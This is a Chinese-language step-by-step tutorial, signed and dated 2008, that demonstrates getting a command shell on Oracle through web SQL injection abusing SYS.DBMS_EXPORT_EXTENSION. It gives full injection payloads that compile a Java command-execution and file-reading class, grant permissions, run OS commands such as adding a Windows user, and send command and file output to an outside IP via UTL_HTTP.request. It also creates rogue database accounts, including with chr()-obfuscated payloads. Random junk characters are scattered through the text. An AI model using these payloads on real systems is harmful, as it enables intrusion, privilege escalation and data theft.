实例演示oracle注入获取cmdshell的全过程

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以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成

　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
: w/ i. B* k- I0 q) W的形式即可。(用" 'a'|| "是为了让语句返回true值)
语句有点长，可能要用post提交。
以下是各个步骤：
- H  O4 {2 ?, f1.创建包
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：
/xxx.jsp?id=1 and '1'<>'a'||(
6 f; F; L( K& K  Q! f/ p1 C+ |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
) `% R8 k1 Y2 unew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
7 J4 w" }2 e4 ^/ E5 {; P/ O7 ^$ b}'''';END;'';END;--','SYS',0,'1',0) from dual
)
------------------------
% V# ~" ^5 _! I2 y$ N' o9 ~& T" Y如果url有长度限制，可以把readFile()函数块去掉，即：
/xxx.jsp?id=1 and '1'<>'a'||(
! M, V& P! U% Uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( K9 X' j9 s* E7 hcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
3 ?) B4 B# N8 a- vnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
! J' I/ x2 [; ^3 M3 J}'''';END;'';END;--','SYS',0,'1',0) from dual
  B0 o; _: q7 N; G* X& z* w)
同时把后面步骤 提到的 对readFile()的处理语句去掉。
------------------------------
: m$ z% }+ N( a2 p/ G2.赋Java权限
1 s$ S* _9 T! C0 K( lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
3.创建函数
( ]- I; R' K5 P- Y, j9 H5 u$ W- eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
/ T9 @2 E8 T$ X# s- P" g4.赋public执行函数的权限
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
# ~& c+ l, j) E3 I1 vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
5.测试上面的几步是否成功
/ G; d/ R" O, X' [! L# Wand '1'<>'11'||(
0 P7 c6 W5 i( i& }- N! ?select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD'
)
and '1'<>(
) Y: p8 v( H  m- xselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
)
6.执行命令：
/xxx.jsp?id=1 and '1'<>(
" O7 i- q/ g, cselect  sys.LinxRunCMD('cmd /c net user linx /add') from dual
3 y7 p5 Z' y, R$ |5 @
)
/xxx.jsp?id=1 and '1'<>(
6 V0 ?+ B! w( gselect  sys.LinxReadFile('c:/boot.ini') from dual
' \2 R! `* I5 V( I  w
)
7 {3 p; N( L$ ~; G　　
注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。
如果要查看运行结果可以用 union :
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
) O* ^5 J( }/ t4 Z5 ^或者UTL_HTTP.request(:
/xxx.jsp?id=1 and '1'<>(
/ \$ T1 O2 \1 Z& E/ B! L9 dSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
)
7 q# K2 P8 ~1 W% I+ j/xxx.jsp?id=1 and '1'<>(
7 e/ {) ]/ g9 L# S; \! ?% G& V* LSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
- D1 D) X6 b+ [0 f% y4 Z! ]4 Y)
注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
--------------------
6.内部变化
通过以下命令可以查看all_objects表达改变：
; q2 c: ]/ X/ u) h% L+ x- y) n" Mselect  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
2 |6 h6 e! x* L7 q) U7.删除我们创建的函数
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
" W. [& [  k/ odrop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
====================================================
" i) {1 r" R5 O: M  V/ P# T1 z2 O全文结束。谨以此文赠与我的朋友。
3 |) e  G! u$ Q+ tlinx
# b; R% d$ z1 e: V  u  e; y124829445
' \; ]8 |- m" K0 k/ g# j2008.1.12
linyujian@bjfu.edu.cn
5 u& D8 H$ h' [' @) d* O6 y======================================================================
, _/ V" Y" ]8 a. i, H测试漏洞的另一方法：
创建oracle帐号：
0 B, e5 y* L: Q2 c( [! c* I4 Eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
即：
$ T" O) z7 n7 T9 B- B2 [7 pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
确定漏洞存在：
1<>(
select user_id from all_users where username='LINXSQL'
)
' ^& d  T/ R/ p: H1 D' H' M给linxsql连接权限：
' S& B. O5 M0 |1 f' |+ x: \select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
删除帐号：
4 n! K$ ~# ]9 w9 J3 Oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ C/ w+ L' C  \  I  U' [. O( {2 _drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
, C6 @- F, V! H7 U7 a======================
3 m+ v  l0 M- T$ q( H, W" V  M9 j! q以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：
1.jsp?id=1 and '1'<>(
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# R+ E5 o1 n8 Y2 j" c* }create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
　)
; q, t% G2 o( J' O2 D1 E" Y

+ a/ ]* u. v8 y% f( d  s